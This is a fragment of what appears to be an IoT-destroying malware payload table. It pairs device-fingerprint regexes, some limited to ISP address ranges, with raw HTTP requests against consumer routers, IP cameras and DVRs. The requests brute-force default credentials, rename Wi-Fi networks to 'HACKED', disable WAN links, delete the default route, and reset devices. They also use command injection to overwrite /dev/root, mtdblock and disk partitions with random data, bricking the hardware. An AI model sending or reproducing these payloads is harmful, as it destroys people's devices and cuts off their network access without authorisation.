'POST /Forms/home_wlan_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nwlanWEBFlag=0&AccessFlag=1&wlan_APenable=0&Channel_ID=00000000&BeaconInterval=100&RTSThreshold=2347&FragmentThreshold=2346&DTIM=1&WirelessMode=802.11b%2Bg%2Bn&WLANChannelBandwidth=40+MHz&WLANGuardInterval=AUTO&WLANMCS=AUTO&WLSSIDIndex=1&ESSID_HIDE_Selection=0&ESSID=HACKED&WEP_Selection=WPA-PSK%2FWPA2-PSK&TKIP_Selection=TKIP%2FAES&PreSharedKey=4171258257&WLAN_FltActive=0&WLAN_FltAction=00000000&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLANFLT_MAC=00%3A00%3A00%3A00%3A00%3A00&WLanLockFlag=0&wlanRadiusWEPFlag=0' ,
'POST /Forms/home_wan_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nHiddenFlag=0&wan_VC=PVC0&wanVCFlag=0&Alwan_VPI=0&Alwan_VCI=35&Alwan_QoS=nrtVBR&wan_PCR=0&wan_SCR=0&wan_MBS=0&wanIPVersionRadio=1&wanConTypeFlag=0&wanTypeRadio=Three&wan_IPv6DSLiteEnable=0&wan_IPv6DSLiteMode=0&wan_RemoteAddress=%3A%3A&wan_BridgeSelect=2684+Bridged+IP+LLC&BridgeFlag=0&wanIGMPQitFlag=0&wan_PVCO_Flag=0&PageLockValue=0' ,
'POST /Forms/home_wan_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nHiddenFlag=0&wan_VC=PVC0&wanVCFlag=0&Alwan_VPI=0&Alwan_VCI=35&Alwan_QoS=nrtVBR&wan_PCR=0&wan_SCR=0&wan_MBS=0&wanIPVersionRadio=1&wanConTypeFlag=0&wanTypeRadio=Three&wan_IPv6DSLiteEnable=0&wan_IPv6DSLiteMode=0&wan_RemoteAddress=%3A%3A&wan_BridgeSelect=2684+Bridged+IP+LLC&BridgeFlag=0&wanIGMPQitFlag=0&wan_PVCO_Flag=0&PageLockValue=0' ,
'POST /Forms/adv_adsl_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nModulationType=G.Lite&AnnexTypeA=ANNEX+M&adsl_opmode_apply=SAVE' ,
'POST /Forms/adv_adsl_1 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nModulationType=G.Lite&AnnexTypeA=ANNEX+M&adsl_opmode_apply=SAVE' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
[ 'pldtmydsl' , '^(49\.14[456789]|49\.15[01]|58\.69|112\.20[0-9]|112\.21[01]|119\.9[2345]|122\.[23]|122\.5[2345]|124\.10[4567])\.\d+\.\d+%%%.*200 Ok.*Server: microhttpd.*no-cache.*/index.html' ,
'POST /login/login-page.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nAuthName=admin&AuthPassword=1234' ,
'GET /index.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: SESSION=%%CUSTOM1%%\r\nReferer: http://%%TARGETIP%%/login/login-page.cgi\r\n\r\n' ,
'POST /pages/tabFW/wireless-general.wl HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: tabJson=..%2Fnetwork%2Fwireless%2Ftab.json; tabIndex=0; SESSION=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsessionKey=%%CUSTOM1%%&wlSyncNvram=1&wlDevice=0&wlHide=0&wlAPIsolation=0&wlBssidIsolation=0&wlEnableWmf=0&wlEnableButtom=0&wlExWpa=&wlSsidIdx=0&wlSsid=HACKED&wlAuthMode=psk+psk2&wlWep=disabled&wlAuth=0&wlUseDefaultWpaKey=0&wlWepPassphraseKey=&wlWpaPassphraseKey=&wlEmailEnable=0&wlSelectEmailSend=&wlSendEmailTo=&wlSendEmailTitle=&wlObssCoex=1&wlBand=2&wlEnbl=0&wlChannel=0&wlNBwCap=1&wlNCtrlsb=1&wlPassphraseUI=0&wlSsid_PLDT=HACKED&wlMaxAssoc=64&wlMaxBandwidth=&wlMaxDownBandwidth=&WireLess_EmailSelect=&WireLessSendEmailTitle=&WireLessSendEmailTo=&wlWpa=tkip%2Baes&wlWpaGtkRekey=1800' ,
'GET /pages/tabFW/wireless-generalrefresh.wl?wlRefresh=0 HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: tabJson=..%2Fnetwork%2Fwireless%2Ftab.json; tabIndex=0; SESSION=%%CUSTOM1%%\r\n\r\n' ,
'POST /login/login-page.cgi HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nAuthName=%%LOGIN%%&AuthPassword=%%PASSWORD%%' ,
'POST /pages/connectionStatus/connectionStatus-SetpppDown.cgi?intfName=ppp1&sessionKey=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: SESSION=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'pldtfibr' , '302 Redirect.*GoAhead-Webs.*PeerSec-MatrixSSL.*1.1/login.html' ,
'POST /goform/webLogin HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=adminpldt\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUser=adminpldt&Passwd=0123456789' ,
'POST /goform/webLogin HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=adminpldt\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUser=adminpldt&Passwd=1234567890' ,
'POST /goform/webLogin HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUser=admin&Passwd=1234' ,
'POST /goform/wirelessBasic HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nradiohiddenButton=2&radio_on=0&wirelessmode=4&select_regDomain=3&Fre_band=2&sz11aChannel=0&guard_inter=0' ,
'POST /goform/setAccountSelfPwd HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\naccountSelf_user=%%LOGIN%%&accountSelf_oldPwd=%%PASSWORD%%&accountSelf_newname=&accountSelf_newPwd=%%NEWPASSWORD%%&accountSelf_newPwd2=%%NEWPASSWORD%%' ,
'POST /goform/webLogin HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=adminpldt\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUser=adminpldt&Passwd=%%NEWPASSWORD%%' ,
'POST /goform/APSecurity HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nssidIndex=1&SSIDEnable=disable&bssid_num=1&ssidName=HACKED&secure_WMM=1&security_mode=WPAPSKWPA2PSK&security_shared_mode=WEP&wep_default_key=1&WEP1=&WEP1Select=1&WEP2=&WEP2Select=1&WEP3=&WEP3Select=1&WEP4=&WEP4Select=1&cipher=2&passphrase=DefaultPasswordsSuck&PreAuthentication=1&RadiusServerIP=&RadiusServerPort=&RadiusServerSecret=&RadiusServerSessionTimeout=&RadiusServerIdleTimeout=&access_mode=0&addmac=' ,
'POST /goform/setLan HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nhostname=&lanIp=10.%%RAND8%%&lanNetmask=255.255.255.0&ipv6_static_addr=fe80%3A%3A1%2F64&other_Flag=1&max_Interval=100&min_Interval=30&dns_srouce=0&Pridns_Set=&secdns_Set=&Prefix_Mode=0&Prefix_Set=&enable_dhcp6s=1&v6dhcpstart=0%3A0%3A0%3A2&v6dhcpend=0%3A0%3A0%3A255' ,
'POST /goform/wirelessGetSecurity HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n:""' ,
'POST /goform/APSecurity HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nssidIndex=1&SSIDEnable=disable&bssid_num=1&ssidName=HACKED&secure_WMM=1&security_mode=WPAPSKWPA2PSK&security_shared_mode=WEP&wep_default_key=1&WEP1=&WEP1Select=1&WEP2=&WEP2Select=1&WEP3=&WEP3Select=1&WEP4=&WEP4Select=1&cipher=2&passphrase=DefaultPasswordsSuck&PreAuthentication=1&RadiusServerIP=&RadiusServerPort=&RadiusServerSecret=&RadiusServerSessionTimeout=&RadiusServerIdleTimeout=&access_mode=0&addmac=' ,
'GET /lang/en/wireless.xml HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\n\r\n' ,
'GET /management/account_self_admin.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\n\r\n' ,
'POST /goform/WanCfg HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nwan_enable=0&wan_connectionmode=100&wan_connectionType=0&wan_vid=1030&wan_priority=0&nat_enable=0&dns_enable=0&wan_mtu=1500&wan_feBox=1&wan_ssidBox=1&wan_ssidBox=4&ipv6_enable=0&ipModel=0&AFTR_value=&staticIp=&staticNetmask=&staticGateway=&staticPriDns=&staticSecDns=&staticIp_ipv6=&Prefix_Length=&IPv6_Gateway=&IPv6_Pri_DNS=&IPv6_Sec_DNS=&Address%2FPrefix_static=2&Prefix_static=2&IPv6_prefix=&Address%2FPrefix_dhcp=0&Prefix_dhcp=0&pppoeUser=&pppoePass=&pppoeOPMode=0&pppoeRetryPeriod=&Address%2FPrefix_pppoe=1&Prefix_pppoe=0&wApply=Apply&fw_curIndex=0' ,
'POST /goform/reboot HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: loginName=%%LOGIN%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\n:""' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'foscamold' , 'Server: Netwave IP Camera' ,
'GET /camera_control.cgi?param=1&user=admin&pwd=&value=0 HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /camera_control.cgi?param=2&user=admin&pwd=&value=0 HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /camera_control.cgi?param=5&user=admin&pwd=&value=3 HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /set_network.cgi?next_url=rebootme.htm&user=admin&pwd=&ip=10.%%RAND8%%&mask=255.255.255.0&gateway=10.%%COMP8%%&dns=1.2.3.4&port=%%RANDPORT%% HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /set_wifi.cgi?next_url=rebootme.htm&channel=5&user=admin&pwd=admin&enable=0&ssid=&mode=0&encrypt=0&authtype=0&keyformat=0&defkey=0&key1=&key2=&key3=&key4=&key1_bits=0&key2_bits=0&key3_bits=0&key4_bits=0&wpa_psk= HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /set_pppoe.cgi?next_url=rebootme.htm&enable=0&user=admin&pwd= HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /reboot.cgi?next_url=reboot.htm&user=admin&pwd= HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET /restore_factory.cgi?next_url=reboot.htm&user=admin&pwd= HTTP/1.0\r\nAuthorization: Basic YWRtaW46\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'telkomdlink' , '^(105\.18[4567]|105\.22[456789])\.\d+\.\d+%%%.*Server: microhttpd.*Set-Cookie: Name=;' ,
'POST /index.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nusername=support&password=TelkomDlink12345&validateCode=' ,
'GET /internet.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: Name=\r\n\r\n' ,
'GET /wlcfg.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: Name=\r\nReferer: http://%%TARGETIP%%/internet.html\r\n\r\n' ,
'GET /wlcfg.wl?wlSsidIdx=0&wlEnbl=0&wlHide=0&wlAPIsolation=0&wlSsid=TELKOMHACKED&wlCountry=ZA&wlEnbl_wl0v1=0&wlEnbl_wl0v2=0&wlEnbl_wl0v3=0&wsc_config_state=1&wlSyncNvram=1&sessionKey=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: Name=\r\n\r\n' ,
'GET /setup_wancfg.html HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: Name=\r\n\r\n' ,
'GET /dlwancfg.cmd?action=remove&rmLst=ppp0.1&sessionKey=%%CUSTOM1%% HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: Name=\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'aztechweb' , 'K;Content-type: text/html;charset=ISO-8859-1.*domtabadv\.css' ,
'GET /cgi-bin/login.cgi?username=admin&password=admin HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /cgi-bin/login.cgi?username=admin&password=bayandsl HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /cgi-bin/login.cgi?username=admin&password=epicrouter HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /cgi-bin/login.cgi?username=admin&password=password HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'GET /cgi-bin/login.cgi?username=admin&password= HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
'POST /cgi-bin/netLan.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: SESSIONID=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsaveFlag=1&lan_VC=0&lan_Alias_VC=0&aliasFlag=No&defaultRoute=0&defaultRoute_isp=2&staticNum=0&delnum=&tmpStartIp=10.0.0.3&tmpPoolCount=252&option60Flag=No&isIPv6Supported=0&ipv6Flag=0&lan2Wan=No&dhcpethdis=No&dhcpethen=Yes&uiViewIPAddr=10.%%RAND8%%&dhcpFlag=0&lanFlag=0&DNSproxy=Yes&uiViewNetMask=255.255.255.0&dhcpTypeRadio=1&StartIp=10.0.0.3&PoolSize=252&dhcp_LeaseTime=86400&dnsTypeRadio=0' ,
'POST /cgi-bin/wlBasic.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: SESSIONID=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsaveFlag=1&N_wlan_APenable=0&BasicRate_Value1=15&BasicRate_Value2=3&BasicRate_Value3=351&CountryRegion0=0&CountryRegion1=1&CountryRegion2=2&CountryRegion3=3&CountryRegion5=5&CountryRegion6=6&HTMCSAUTO=33&HTBW=0&WPSConfigured=2&WpsConfModeAll=7&WpsConfModeNone=0&Is11nMode=1&ExtChannFlag=0&isInWPSing=0&CountryName=SOUTH+AFRICA&BssidNum=1&WpsStart=0&WpsOOB=0&BUTTON=SAVE&wlanWEPFlag=3&ESSID=HACKED&bssid_num=1&ESSID_HIDE_Selection=0&WirelessMode=9&BeaconInterval=100&DTIM=1&FragmentThreshold=2346&RTSThreshold=2347&Countries_Channels=SOUTH+AFRICA&Channel_ID=6&WLANChannelBandwidth=1&WLANGuardInterval=1&WLANMCS=33&WLANExtensionChannel=0&CountryChange=0' ,
'POST /cgi-bin/quickstart.asp HTTP/1.1\r\nHost: %%TARGETIP%%\r\nCookie: SESSIONID=%%CUSTOM1%%\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\npage=home.asp&saveFlag=1&wanVCFlag=&vEnable=0&vSSID=0&timeType=0&AuthMode=WPAPSKWPA2PSK&TKIP_Selection=TKIPAES&TypeFlag=2&commit=1&select=PPPoE+LLC&wan_VCStatus=Yes&ATM_QoS=ubr&ATM_PCR=0&ATM_SCR=0&ATM_MBS=0&wan_NAT=Enable&wan_DefaultRoute=Yes&wan_TCPMTU=0&wan_RIPVersion=RIP1&wan_RIPDirection=None&wan_IGMP=Disabled&wan_ConnectSelect=Connect_Keep_Alive&wan_IdleTimeT=&wan_TCPMSS=0&wan_PPPGetIP=Dynamic&wan_StaticIPaddr=&wan_StaticIPSubMask=&wan_StaticIpGateway=&N_linktype=eth0.4&N_macEnbl=0&N_clonemac=N%2FA&ftthPVC=7&ftthDefRoute=No&wan7ifname=eth0.4&wan_VC=0&wan7Active=Yes&lan2Wan=Yes&dhcpethdis=No&lan_VC=0&dhcpTypeRadio=1&uiViewdateTZ=GMT%2B03%3A00&uiViewSNTPServer=igubu.saix.net&Custom_NTP_Server=igubu.saix.net&daylight=Disable&wan_connType=WAN&3g_apnMeth=list&3g_countryList=0&3g_opList=0&3g_apnList=0&3g_apn=&3g_authType=0&netType=AUTO&3g_connMethod=1&3g_idleTimeout=N%2FA&3g_umtsdialnumber=*99%23&3g_umtsusername=&3g_umtspassword=&3g_umtscpin=&conn_type=1&uiViewUserNameMark=guest%40telkomadsl&uiViewPasswordMark=guest&wzStatic_IPaddr=&wzStatic_SubMask=&wzStatic_GatewayAdd=&dns1=&dns2=&wzDHCP_VPI=8&wzDHCP_VCI=35&ESSID_HIDE_Selection=on&wireless_ssid=HACKED&wpaenable=on&PreSharedKey=802325481036364884' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'netgeardgn1022' , '(NETGEAR DGN1000|NETGEAR DGN2200)' ,
'GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/dev/urandom+>/dev/root&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n' ,
'GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=route+del+default&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'netgearr7064' , '(NETGEAR R7000|NETGEAR R6400)' ,
'GET /cgi-bin/;cat$IFS/dev/urandom$IFS>/dev/root HTTP/1.0\r\n\r\n' ,
'GET /cgi-bin/;route$IFSdel$IFSdefault HTTP/1.0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'vacron' , '(VACRON NVR|Boa.*title>DVR LOGIN<\/ti)' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock0 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock9 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock10 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/sda1 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock1 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock2 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock3 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock4 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock5 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock6 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock7 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/mtdblock8 HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=cat%20/dev/urandom%20>/dev/root HTTP/1.0\r\n\r\n' ,
'GET /board.cgi?cmd=route%20del%20default HTTP/1.0\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'jaws' , 'Server: JAWS' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/sda1 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/sda2 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock0 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock1 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock2 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock3 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock4 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock5 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock0 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock1 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock2 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock3 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock4 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mtdblock5 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%220%22%20squ=%22abcdefg%22%20dir=%220%22%20enc=%221%22%3E%3Cenvload%20type=%221%22%20usr=%22admin%22%20pwd=%22%22%3E%3Cscreen%20chn=%220%22%20title=%22HACKED%22/%3E%3Ccopyg%20chn=%220%22%20type=%225%22%20channels=%22255%22/%3E%3C/envload%3E%3C/juan%3E&_=1510387268908 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\nCookie: dvr_camcnt=8; dvr_clientport=80; dvr_sensorcnt=4; lxc_save=admin%2C; dvr_usr=admin; dvr_pwd=null; iSetAble=1; iPlayBack=1\r\n\r\n' ,
'GET /cgi-bin/gw.cgi?xml=%3Cjuan%20ver=%220%22%20squ=%22abcdefg%22%20dir=%220%22%20enc=%221%22%3E%3Cenvload%20type=%221%22%20usr=%22admin%22%20pwd=%22%22%3E%3Cnetwork%20ip=%2210.%%RAND8%%%22%20gateway=%2210.%%COMP8%%%22%20dns=%2210.%%COMP8%%%22%20enetid=%2221391293%22%20pppoe=%221%22%20pppoeusr=%22HACKED%22%20pppoepwd=%22HACKED%22/%3E%3C/envload%3E%3C/juan%3E&_=1510387452140 HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\nCookie: dvr_camcnt=8; dvr_clientport=80; dvr_sensorcnt=4; lxc_save=admin%2C; dvr_usr=admin; dvr_pwd=null; iSetAble=1; iPlayBack=1\r\n\r\n' ,
'GET /shell?route%20del%20default HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET /shell?cat%20/dev/urandom%20%3E/dev/mem HTTP/1.1\r\nHost:%%TARGETIP%%:%%TARGETPORT\r\n\r\n' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'readynas' , 'Apache.*Debian.*Location:\shttp:\S+/admin;Vary' ,
'GET / HTTP/1.0\r\n\r\n' ,
] ,
[ 'mediatekajax' , 'Server: lighttpd/1.*style\.css.*ion\sinit\(\).*ion\sfFOB\(o\).*' ,
'POST /ajax.cgi?action=login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUI_ADMIN_USERNAME=admin&UI_ADMIN_PASSWORD=admin' ,
'POST /ajax.cgi?action=login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUI_ADMIN_USERNAME=admin&UI_ADMIN_PASSWORD=admin123' ,
'POST /ajax.cgi?action=login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUI_ADMIN_USERNAME=admin&UI_ADMIN_PASSWORD=admin1234' ,
'POST /ajax.cgi?action=login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUI_ADMIN_USERNAME=admin&UI_ADMIN_PASSWORD=password' ,
'POST /ajax.cgi?action=login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUI_ADMIN_USERNAME=user&UI_ADMIN_PASSWORD=user' ,
'POST /ajax.cgi?action=login HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nUI_ADMIN_USERNAME=guest&UI_ADMIN_PASSWORD=guest' ,
'POST /ajax.cgi?action=net_dhcp HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsid=%%CUSTOM1%%&DHCPD_STATIC_LEASE=&DHCPD_ENABLE=0&DHCPD_START_IP_01=10&DHCPD_START_IP_02=1&DHCPD_START_IP_03=1&DHCPD_START_IP_04=1&DHCPD_START_IP=&DHCPD_END_IP_01=10&DHCPD_END_IP_02=1&DHCPD_END_IP_03=1&DHCPD_END_IP_04=100&DHCPD_END_IP=&DNS_IP_1=&DNS_IP_2=&DNS_IP_3=&DHCPD_LEASE_TIME=1440&btnSubmit=1&DHCPD_DNS=&ippt_enable=0&IPPT_EXCEPTION=1%2CY%2C1%2C1%2C68%2C67%2CDHCP+request+from+lan%3B2%2CY%2C2%2C1%2C67%2C68%2CDHCP+response+from+wan%3B&IPPT_EXCEPTION_NUM=2' ,
'POST /ajax.cgi?action=net_lan HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %%BODYLENGTH%%\r\n\r\nsid=%%CUSTOM1%%&LAN_IP_01=10&LAN_IP_02=%%RAND81%%&LAN_IP_03=%%RAND82%%&LAN_IP_04=%%RAND83%%&LAN_IP=10.%%RAND8%%&LAN_MASK_01=255&LAN_MASK_02=255&LAN_MASK_03=255&LAN_MASK_04=254&LAN_MASK=255.255.255.254&btnSubmit=1' ,
